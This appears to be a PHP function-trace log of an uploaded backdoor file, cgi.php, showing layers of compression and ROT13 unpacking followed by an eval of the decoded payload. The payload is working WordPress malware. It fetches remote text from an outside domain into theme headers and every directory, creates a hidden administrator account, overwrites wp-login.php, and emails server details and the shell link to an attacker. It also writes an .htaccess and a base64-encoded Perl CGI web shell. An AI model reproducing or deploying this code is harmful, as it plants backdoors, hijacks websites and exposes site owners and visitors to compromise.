3	10	R			'\001\032b�x�\001\017b�\001\nb��x�\001�a\000�\001�a\005�x�\001�a\020��i��H�(���9�\037�yk^V���\024\020d\006�Uy�E+�M \005���\003t�\n�\b!$��?j��\037��acf�ڀ���%��;��t\006�勹�mn��9?����ܙ�������lY����\'i �\003�O����2\031��Ob�.���\037/\033z��#���}t���\'�\034\017>}�\001[n�����`�\002��?}��?\035��b��>�����6����}\v�z��\017���\027\n��\016���O�p�\036\vϾ�G�67l\021~��1\\\034�7�x�x|��̙����=n���=~����\037\v7V��\017q�{x�u<�����|ZY�;�g�-����\017�\t\037������o���â�\003\a\r\r\v|�\026߻�\f� �� �|7̾|\005'
3	11	0	0.002418	471256	gzinflate	0		/var/www/html/uploads/cgi.php(4) : eval()'d code	1	1	'\001\032b�x�\001\017b�\001\nb��x�\001�a\000�\001�a\005�x�\001�a\020��i��H�(���9�\037�yk^V���\024\020d\006�Uy�E+�M \005���\003t�\n�\b!$��?j��\037��acf�ڀ���%��;��t\006�勹�mn��9?����ܙ�������lY����\'i �\003�O����2\031��Ob�.���\037/\033z��#���}t���\'�\034\017>}�\001[n�����`�\002��?}��?\035��b��>�����6����}\v�z��\017���\027\n��\016���O�p�\036\vϾ�G�67l\021~��1\\\034�7�x�x|��̙����=n���=~����\037\v7V��\017q�{x�u<�����|ZY�;�g�-����\017�\t\037������o���â�\003\a\r\r\v|�\026߻�\f� �� �|7̾|\005'
3	11	1	0.002929	499960
3	11	R			'x�\001\017b�\001\nb��x�\001�a\000�\001�a\005�x�\001�a\020��i��H�(���9�\037�yk^V���\024\020d\006�Uy�E+�M \005���\003t�\n�\b!$��?j��\037��acf�ڀ���%��;��t\006�勹�mn��9?����ܙ�������lY����\'i �\003�O����2\031��Ob�.���\037/\033z��#���}t���\'�\034\017>}�\001[n�����`�\002��?}��?\035��b��>�����6����}\v�z��\017���\027\n��\016���O�p�\036\vϾ�G�67l\021~��1\\\034�7�x�x|��̙����=n���=~����\037\v7V��\017q�{x�u<�����|ZY�;�g�-����\017�\t\037������o���â�\003\a\r\r\v|�\026߻�\f� �� �|7̾|\005�����\017�'
3	12	0	0.003399	471256	gzuncompress	0		/var/www/html/uploads/cgi.php(4) : eval()'d code	1	1	'x�\001\017b�\001\nb��x�\001�a\000�\001�a\005�x�\001�a\020��i��H�(���9�\037�yk^V���\024\020d\006�Uy�E+�M \005���\003t�\n�\b!$��?j��\037��acf�ڀ���%��;��t\006�勹�mn��9?����ܙ�������lY����\'i �\003�O����2\031��Ob�.���\037/\033z��#���}t���\'�\034\017>}�\001[n�����`�\002��?}��?\035��b��>�����6����}\v�z��\017���\027\n��\016���O�p�\036\vϾ�G�67l\021~��1\\\034�7�x�x|��̙����=n���=~����\037\v7V��\017q�{x�u<�����|ZY�;�g�-����\017�\t\037������o���â�\003\a\r\r\v|�\026߻�\f� �� �|7̾|\005�����\017�'
3	12	1	0.003872	499960
3	12	R			'\001\nb��x�\001�a\000�\001�a\005�x�\001�a\020��i��H�(���9�\037�yk^V���\024\020d\006�Uy�E+�M \005���\003t�\n�\b!$��?j��\037��acf�ڀ���%��;��t\006�勹�mn��9?����ܙ�������lY����\'i �\003�O����2\031��Ob�.���\037/\033z��#���}t���\'�\034\017>}�\001[n�����`�\002��?}��?\035��b��>�����6����}\v�z��\017���\027\n��\016���O�p�\036\vϾ�G�67l\021~��1\\\034�7�x�x|��̙����=n���=~����\037\v7V��\017q�{x�u<�����|ZY�;�g�-����\017�\t\037������o���â�\003\a\r\r\v|�\026߻�\f� �� �|7̾|\005�����\017�_�������W�'
3	13	0	0.004340	471256	gzinflate	0		/var/www/html/uploads/cgi.php(4) : eval()'d code	1	1	'\001\nb��x�\001�a\000�\001�a\005�x�\001�a\020��i��H�(���9�\037�yk^V���\024\020d\006�Uy�E+�M \005���\003t�\n�\b!$��?j��\037��acf�ڀ���%��;��t\006�勹�mn��9?����ܙ�������lY����\'i �\003�O����2\031��Ob�.���\037/\033z��#���}t���\'�\034\017>}�\001[n�����`�\002��?}��?\035��b��>�����6����}\v�z��\017���\027\n��\016���O�p�\036\vϾ�G�67l\021~��1\\\034�7�x�x|��̙����=n���=~����\037\v7V��\017q�{x�u<�����|ZY�;�g�-����\017�\t\037������o���â�\003\a\r\r\v|�\026߻�\f� �� �|7̾|\005�����\017�_�������W�'
3	13	1	0.004805	499960
3	13	R			'x�\001�a\000�\001�a\005�x�\001�a\020��i��H�(���9�\037�yk^V���\024\020d\006�Uy�E+�M \005���\003t�\n�\b!$��?j��\037��acf�ڀ���%��;��t\006�勹�mn��9?����ܙ�������lY����\'i �\003�O����2\031��Ob�.���\037/\033z��#���}t���\'�\034\017>}�\001[n�����`�\002��?}��?\035��b��>�����6����}\v�z��\017���\027\n��\016���O�p�\036\vϾ�G�67l\021~��1\\\034�7�x�x|��̙����=n���=~����\037\v7V��\017q�{x�u<�����|ZY�;�g�-����\017�\t\037������o���â�\003\a\r\r\v|�\026߻�\f� �� �|7̾|\005�����\017�_�������W��\037\022'
3	14	0	0.005271	471256	gzuncompress	0		/var/www/html/uploads/cgi.php(4) : eval()'d code	1	1	'x�\001�a\000�\001�a\005�x�\001�a\020��i��H�(���9�\037�yk^V���\024\020d\006�Uy�E+�M \005���\003t�\n�\b!$��?j��\037��acf�ڀ���%��;��t\006�勹�mn��9?����ܙ�������lY����\'i �\003�O����2\031��Ob�.���\037/\033z��#���}t���\'�\034\017>}�\001[n�����`�\002��?}��?\035��b��>�����6����}\v�z��\017���\027\n��\016���O�p�\036\vϾ�G�67l\021~��1\\\034�7�x�x|��̙����=n���=~����\037\v7V��\017q�{x�u<�����|ZY�;�g�-����\017�\t\037������o���â�\003\a\r\r\v|�\026߻�\f� �� �|7̾|\005�����\017�_�������W��\037\022'
3	14	1	0.005748	499960
3	14	R			'\001�a\005�x�\001�a\020��i��H�(���9�\037�yk^V���\024\020d\006�Uy�E+�M \005���\003t�\n�\b!$��?j��\037��acf�ڀ���%��;��t\006�勹�mn��9?����ܙ�������lY����\'i �\003�O����2\031��Ob�.���\037/\033z��#���}t���\'�\034\017>}�\001[n�����`�\002��?}��?\035��b��>�����6����}\v�z��\017���\027\n��\016���O�p�\036\vϾ�G�67l\021~��1\\\034�7�x�x|��̙����=n���=~����\037\v7V��\017q�{x�u<�����|ZY�;�g�-����\017�\t\037������o���â�\003\a\r\r\v|�\026߻�\f� �� �|7̾|\005�����\017�_�������W��\037\022@�{7:���c��߹'
3	15	0	0.006214	471256	gzinflate	0		/var/www/html/uploads/cgi.php(4) : eval()'d code	1	1	'\001�a\005�x�\001�a\020��i��H�(���9�\037�yk^V���\024\020d\006�Uy�E+�M \005���\003t�\n�\b!$��?j��\037��acf�ڀ���%��;��t\006�勹�mn��9?����ܙ�������lY����\'i �\003�O����2\031��Ob�.���\037/\033z��#���}t���\'�\034\017>}�\001[n�����`�\002��?}��?\035��b��>�����6����}\v�z��\017���\027\n��\016���O�p�\036\vϾ�G�67l\021~��1\\\034�7�x�x|��̙����=n���=~����\037\v7V��\017q�{x�u<�����|ZY�;�g�-����\017�\t\037������o���â�\003\a\r\r\v|�\026߻�\f� �� �|7̾|\005�����\017�_�������W��\037\022@�{7:���c��߹'
3	15	1	0.006762	499960
3	15	R			'x�\001�a\020��i��H�(���9�\037�yk^V���\024\020d\006�Uy�E+�M \005���\003t�\n�\b!$��?j��\037��acf�ڀ���%��;��t\006�勹�mn��9?����ܙ�������lY����\'i �\003�O����2\031��Ob�.���\037/\033z��#���}t���\'�\034\017>}�\001[n�����`�\002��?}��?\035��b��>�����6����}\v�z��\017���\027\n��\016���O�p�\036\vϾ�G�67l\021~��1\\\034�7�x�x|��̙����=n���=~����\037\v7V��\017q�{x�u<�����|ZY�;�g�-����\017�\t\037������o���â�\003\a\r\r\v|�\026߻�\f� �� �|7̾|\005�����\017�_�������W��\037\022@�{7:���c��߹��\030��'
3	16	0	0.007239	471256	gzuncompress	0		/var/www/html/uploads/cgi.php(4) : eval()'d code	1	1	'x�\001�a\020��i��H�(���9�\037�yk^V���\024\020d\006�Uy�E+�M \005���\003t�\n�\b!$��?j��\037��acf�ڀ���%��;��t\006�勹�mn��9?����ܙ�������lY����\'i �\003�O����2\031��Ob�.���\037/\033z��#���}t���\'�\034\017>}�\001[n�����`�\002��?}��?\035��b��>�����6����}\v�z��\017���\027\n��\016���O�p�\036\vϾ�G�67l\021~��1\\\034�7�x�x|��̙����=n���=~����\037\v7V��\017q�{x�u<�����|ZY�;�g�-����\017�\t\037������o���â�\003\a\r\r\v|�\026߻�\f� �� �|7̾|\005�����\017�_�������W��\037\022@�{7:���c��߹��\030��'
3	16	1	0.007713	499960
3	16	R			'�i��H�(���9�\037�yk^V���\024\020d\006�Uy�E+�M \005���\003t�\n�\b!$��?j��\037��acf�ڀ���%��;��t\006�勹�mn��9?����ܙ�������lY����\'i �\003�O����2\031��Ob�.���\037/\033z��#���}t���\'�\034\017>}�\001[n�����`�\002��?}��?\035��b��>�����6����}\v�z��\017���\027\n��\016���O�p�\036\vϾ�G�67l\021~��1\\\034�7�x�x|��̙����=n���=~����\037\v7V��\017q�{x�u<�����|ZY�;�g�-����\017�\t\037������o���â�\003\a\r\r\v|�\026߻�\f� �� �|7̾|\005�����\017�_�������W��\037\022@�{7:���c��߹��\030��Y����\023 \r\'
3	17	0	0.008180	471256	gzinflate	0		/var/www/html/uploads/cgi.php(4) : eval()'d code	1	1	'�i��H�(���9�\037�yk^V���\024\020d\006�Uy�E+�M \005���\003t�\n�\b!$��?j��\037��acf�ڀ���%��;��t\006�勹�mn��9?����ܙ�������lY����\'i �\003�O����2\031��Ob�.���\037/\033z��#���}t���\'�\034\017>}�\001[n�����`�\002��?}��?\035��b��>�����6����}\v�z��\017���\027\n��\016���O�p�\036\vϾ�G�67l\021~��1\\\034�7�x�x|��̙����=n���=~����\037\v7V��\017q�{x�u<�����|ZY�;�g�-����\017�\t\037������o���â�\003\a\r\r\v|�\026߻�\f� �� �|7̾|\005�����\017�_�������W��\037\022@�{7:���c��߹��\030��Y����\023 \r\'
3	17	1	0.008880	545016
3	17	R			'<?cuc\r\n$qbphzrag_ebbg = $_FREIRE["QBPHZRAG_EBBG"];\r\n$qbphzrag_ebbg_svyr = qveanzr(__SVYR__);\r\n$jc_qrgrpg = 0;\r\nvs(svyr_rkvfgf($qbphzrag_ebbg.\'/jc-ybnq.cuc\'))\r\n{   \r\n    vapyhqr $qbphzrag_ebbg.\'/jc-ybnq.cuc\';\r\n    $jc_qrgrpg = 1;\r\n}ryfr\r\n{\r\n    $cersvk = pbhag(@rkcybqr(\'/\', $qbphzrag_ebbg_svyr));\r\n    $n = \'\';\r\n    sbe($v = 0; $v<$cersvk; $v++)\r\n    {\r\n      $n = $n.\'../\';\r\n      vs(svyr_rkvfgf($qbphzrag_ebbg_svyr.\'/\'.$n.\'jc-ybnq.cuc\'))\r\n      {\r\n          vapy'
3	18	0	0.008973	516312	str_rot13	0		/var/www/html/uploads/cgi.php(4) : eval()'d code	1	1	'<?cuc\r\n$qbphzrag_ebbg = $_FREIRE["QBPHZRAG_EBBG"];\r\n$qbphzrag_ebbg_svyr = qveanzr(__SVYR__);\r\n$jc_qrgrpg = 0;\r\nvs(svyr_rkvfgf($qbphzrag_ebbg.\'/jc-ybnq.cuc\'))\r\n{   \r\n    vapyhqr $qbphzrag_ebbg.\'/jc-ybnq.cuc\';\r\n    $jc_qrgrpg = 1;\r\n}ryfr\r\n{\r\n    $cersvk = pbhag(@rkcybqr(\'/\', $qbphzrag_ebbg_svyr));\r\n    $n = \'\';\r\n    sbe($v = 0; $v<$cersvk; $v++)\r\n    {\r\n      $n = $n.\'../\';\r\n      vs(svyr_rkvfgf($qbphzrag_ebbg_svyr.\'/\'.$n.\'jc-ybnq.cuc\'))\r\n      {\r\n          vapy'
3	18	1	0.009087	590072
3	18	R			'<?php\r\n$document_root = $_SERVER["DOCUMENT_ROOT"];\r\n$document_root_file = dirname(__FILE__);\r\n$wp_detect = 0;\r\nif(file_exists($document_root.\'/wp-load.php\'))\r\n{   \r\n    include $document_root.\'/wp-load.php\';\r\n    $wp_detect = 1;\r\n}else\r\n{\r\n    $prefix = count(@explode(\'/\', $document_root_file));\r\n    $a = \'\';\r\n    for($i = 0; $i<$prefix; $i++)\r\n    {\r\n      $a = $a.\'../\';\r\n      if(file_exists($document_root_file.\'/\'.$a.\'wp-load.php\'))\r\n      {\r\n          incl'
3	19	0	0.009586	631976	eval	1	'?><?php\r\n$document_root = $_SERVER["DOCUMENT_ROOT"];\r\n$document_root_file = dirname(__FILE__);\r\n$wp_detect = 0;\r\nif(file_exists($document_root.\'/wp-load.php\'))\r\n{   \r\n    include $document_root.\'/wp-load.php\';\r\n    $wp_detect = 1;\r\n}else\r\n{\r\n    $prefix = count(@explode(\'/\', $document_root_file));\r\n    $a = \'\';\r\n    for($i = 0; $i<$prefix; $i++)\r\n    {\r\n      $a = $a.\'../\';\r\n      if(file_exists($document_root_file.\'/\'.$a.\'wp-load.php\'))\r\n      {\r\n          include $document_root_file.\'/\'.$a.\'wp-load.php\';\r\n          $wp_detect = 1;\r\n          break;\r\n      }\r\n    }\r\n}\r\n\r\nif($wp_detect == 1)\r\n{\r\n    //Header Yazdırma\r\n    $wp_theme_dir = get_template_directory();\r\n    $header_file = $wp_theme_dir.\'/headers.php\';\r\n    $header_content = file_get_contents($header_file);\r\n    $append = http_get(\'https://wordpres.page/txt/lamer.txt\');\r\n    if(!preg_match(\'#\'.$append.\'#\', $header_content))\r\n    {   \r\n\t    $new_content = $append.$header_content;\r\n\t    $open_file = fopen($header_file, \'w\');\r\n\t    fwrite($open_file, $new_content);\r\n\t    fclose($open_file);\r\n    }\r\n    //Header Yazdırma   \r\n    \r\n    // shell Ekleme\r\n    $user = \'new_admin\';\r\n    $pass = \'Mzj2zr542CwkB#7QDsX^RK@fe@mxBTVAHp\';\r\n    $email = \'byhero44@gmail.com\';\r\n    if (!username_exists( $user ) && !email_exists( $email ) ) {\r\n        $user_id = wp_create_user( $user, $pass, $email );\r\n        $user = new WP_User( $user_id );\r\n        $user->set_role( \'administrator\' );\r\n    } \r\n    // shell Ekleme\r\n    \r\n    // Wp Login Yazma.\r\n    $wp_login = ABSPATH.\'/wp-login.php\';\r\n    $login = http_get(\'https://wordpres.page/txt/seo.txt\');\r\n    $open_login = fopen($wp_login, \'w\');\r\n    fwrite($open_login, $login);\r\n    fclose($open_login);\r\n    // Wp Login Yazma.\r\n}\r\n\r\n\r\n// Shell Yazma\r\n$code = http_get(\'#\');\r\n$wp_code = $document_root.\'/#\';\r\n$open_code = fopen($wp_code, \'w\');\r\nfwrite($open_code, $code);\r\nfclose($open_code);\r\n// Shell Yazma\r\n\r\n// Makale Yazma\r\n$makale = http_get(\'\');\r\n$wp_makale = $document_root.\'/\';\r\n$open_makale = fopen($wp_makale, \'w\');\r\nfwrite($open_makale, $makale);\r\nfclose($open_makale);\r\n// Makale Yazma\r\n\r\n\r\n// Klasörlere Yazma\r\n$directories = expandDirectories($document_root);\r\n$css = http_get(\'https://wordpres.page/txt/lamer.txt\');\r\nforeach($directories as $dir)\r\n{\r\n\tif(!preg_match(\'#wp-content#\', $dir))\r\n\t{\r\n\t    $css_file = $dir.\'/wp-indos.php\';\r\n\t    $open_css = fopen($css_file, \'w\');\r\n\t    fwrite($open_css, $css);\r\n\t    fclose($open_css);\r\n    }\r\n}\r\n// Klasörlere Yazma\r\n\r\nfunction expandDirectories($base_dir) {\r\n      $directories = array();\r\n      foreach(scandir($base_dir) as $file) {\r\n            if($file == \'.\' || $file == \'..\') continue;\r\n            $dir = $base_dir.DIRECTORY_SEPARATOR.$file;\r\n            if(is_dir($dir)) {\r\n                $directories []= $dir;\r\n                $directories = array_merge($directories, expandDirectories($dir));\r\n            }\r\n      }\r\n      return $directories;\r\n}\r\nfunction http_get($url)\r\n{\r\n\t$im = curl_init($url);\r\n\tcurl_setopt($im, CURLOPT_RETURNTRANSFER, 1);\r\n\tcurl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);\r\n\tcurl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);\r\n\tcurl_setopt($im, CURLOPT_HEADER, 0);\r\n\treturn curl_exec($im);\r\n\tcurl_close($im);\r\n}\r\n?><?php\r\n$kime = "byhero44@gmail.com";\r\n$baslik = "wsoff 2023";\r\n$EL_MuHaMMeD = "Dosya Yolu : " . $_SERVER[\'DOCUMENT_ROOT\'] . "\\r\\n";\r\n$EL_MuHaMMeD.= "Server Admin : " . $_SERVER[\'SERVER_ADMIN\'] . "\\r\\n";\r\n$EL_MuHaMMeD.= "Server isletim sistemi : " . $_SERVER[\'SERVER_SOFTWARE\'] . "\\r\\n";\r\n$EL_MuHaMMeD.= "Shell Link : http://" . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'PHP_SELF\'] . "\\r\\n";\r\n$EL_MuHaMMeD.= "Avlanan Site : " . $_SERVER[\'HTTP_HOST\'] . "\\r\\n";\r\nmail($kime, $baslik, $EL_MuHaMMeD);\r\n?><!-- CGI by Bang4Y1N -->\r\n<html>\r\n<body text=white>\r\n<center><font color=white face=courier new>CGI Shell</font><br>+- <font color=red face=courier size=2>Lumayan Buat Read Directory</font> -+</font>\r\n<head>\r\n<body bgcolor=#000000>\r\n<title>[+] CGI Shell [+]</title>\r\n</head>\r\n<body>\r\n<center>\r\n    <td><table width=\'100%\' height=\'173\'>\r\n        <td class=\'td\' style=\'border-bottom-width:thin;border-top-width:thin\'><form method=\'post\'>\r\n<center>\r\n              <input type=\'submit\' name=\'elgass\' value=\'Grab\'>\r\n</center>\r\n        </form></td>\r\n<?php\r\nif (isset($_POST[\'elgass\']))\r\n{\r\n@mkdir(\'cgi\', 0755);\r\n@chdir(\'cgi\');\r\n        $elesem = ".htaccess";\r\n        $elakab = "$elesem";\r\n        $filhat = fopen ($elakab , \'w\') or die ("Can\'t Write htaccess !");\r\n        $htcont = "OPTIONS Indexes Includes ExecCGI FollowSymLinks \r\n AddType application/x-httpd-cgi .cgi\r\n AddHandler cgi-script .cgi \r\n AddHandler cgi-script .cgi";   \r\n        fwrite ( $filhat , $htcont ) ;\r\n        fclose ($filhat);\r\n$xaivhost = \'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQp1c2UgTUlNRTo6QmFzZTY0Ow0KJFZlcnNpb249ICJDR0ktVGVsbmV0IFZlcnNpb24gMS4zIjsNCiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+YjM3NGsgLSBDR0ktVGVsbmV0PC9mb250PiI7DQoNCiRQYXNzd29yZCA9ICJhc3UiOwkJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcyB0byBsb2dpbi4NCnN1YiBJc19XaW4oKXsNCgkkb3MgPSAmdHJpbSgkRU5WeyJTRVJWRVJfU09GVFdBUkUifSk7DQoJaWYoJG9zID1+IG0vd2luL2kpew0KCQlyZXR1cm4gMTsNCgl9DQoJZWxzZXsNCgkJcmV0dXJuIDA7DQoJfQ0KfQ0KJFdpbk5UID0gJklzX1dpbigpOwkJCQkjIFlvdSBuZWVkIHRvIGNoYW5nZSB0aGUgdmFsdWUgb2YgdGhpcyB0byAxIGlmDQoJCQkJCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3JpcHQgb24gYSBXaW5kb3dzIE5UDQoJCQkJCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91DQoJCQkJCQkJCSMgY2FuIGxlYXZlIHRoZSB2YWx1ZSBhcyBpdCBpcy4NCg0KJE5UQ21kU2VwID0gIiYiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcw0KCQkJCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFdpbmRvd3MgTlQuDQoNCiRVbml4Q21kU2VwID0gIjsiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcw0KCQkJCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguDQoNCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTAwMDA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkDQoJCQkJCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzDQoJCQkJCQkJCSMgdXNlZnVsIGZvciBjb21tYW5kcyB0aGF0IG1heSBoYW5nIG9yIHRoYXQNCgkJCQkJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLg0KCQkJCQkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzDQoJCQkJCQkJCSMgaWdub3JlZCBvbiBOVCBTZXJ2ZXJzLg0KDQokU2hvd0R5bmFtaWNPdXRwdXQgPSAxOwkJCSMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2VudCB0byB0aGUNCgkJCQkJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBvdGhlcndpc2UNCgkJCQkJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kDQoJCQkJCQkJCSMgY29tcGxldGVzLiBUaGlzIGlzIHVzZWZ1bCBmb3IgY29tbWFuZHMgbGlrZQ0KCQkJCQkJCQkjIHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdA0KCQkJCQkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4NCg0KIyBET04nVCBDSEFOR0UgQU5ZVEhJTkcgQkVMT1cgVEhJUyBMSU5FIFVOTEVTUyBZT1UgS05PVyBXSEFUIFlPVSdSRSBET0lORyAhIQ0KDQokQ21kU2VwID0gKCRXaW5OVCA/ICROVENtZFNlcCA6ICRVbml4Q21kU2VwKTsNCiRDbWRQd2QgPSAoJFdpbk5UID8gImNkIiA6ICJwd2QiKTsNCiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOw0KJFJlZGlyZWN0b3IgPSAoJFdpbk5UID8gIiAyPiYxIDE+JjIiIDogIiAxPiYxIDI+JjEiKTsNCiRjb2xzPSAxNTA7DQokcm93cz0gMjY7DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQNCiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4NCiMgVGhlIGZpbGVuYW1lIGlzIHN0b3JlZCBpbiAkaW57J2YnfSBhbmQgdGhlIGRhdGEgaXMgc3RvcmVkIGluICRpbnsnZmlsZWRhdGEnfS4NCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YNCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kNCiMgc2NyaXB0cy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBSZWFkUGFyc2UgDQp7DQoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsNCglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOw0KCQ0KCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOw0KDQoJaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiR0VUIikNCgl7DQoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Ow0KCX0NCgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikNCgl7DQoJCWJpbm1vZGUoU1RESU4pIGlmICRNdWx0aXBhcnRGb3JtRGF0YSAmICRXaW5OVDsNCgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsNCgl9DQoNCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhDQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pDQoJew0KCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IA0KCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyANCgkJJEhlYWRlckJvZHkgPSAkbGlzdFsxXTsNCgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOw0KCQkkSGVhZGVyID0gJGA7DQoJCSRCb2R5ID0gJCc7DQogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlDQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5Ow0KCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IA0KCQkkaW57J2YnfSA9ICQxOyANCgkJJGlueydmJ30gPX4gcy9cIi8vZzsNCgkJJGlueydmJ30gPX4gcy9ccy8vZzsNCg0KCQkjIHBhcnNlIHRyYWlsZXINCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykNCgkJeyANCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOw0KCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIvOw0KCQkJJGtleSA9ICQxOw0KCQkJJHZhbCA9ICQnOw0KCQkJJHZhbCA9fiBzLyheKFxyXG5cclxufFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gPSAkdmFsOyANCgkJfQ0KCX0NCgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkNCgl7DQoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsNCgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQ0KCQl7DQoJCQkkaW5bJGldID1+IHMvXCsvIC9nOw0KCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsNCgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7DQoJCQkkaW57JGtleX0gLj0gJHZhbDsNCgkJfQ0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgUGFnZSBIZWFkZXINCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUhlYWRlcg0Kew0KCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOw0KCSRFbmNvZGVkQ3VycmVudERpciA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJbXkgJGRpciA9JEN1cnJlbnREaXI7DQoJJGRpcj1+IHMvXFwvXFxcXC9nOw0KCXByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOw0KCXByaW50IDw8RU5EOw0KPGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4NCjx0aXRsZT5IYWNzdWdpYTwvdGl0bGU+DQoNCiRIdG1sTWV0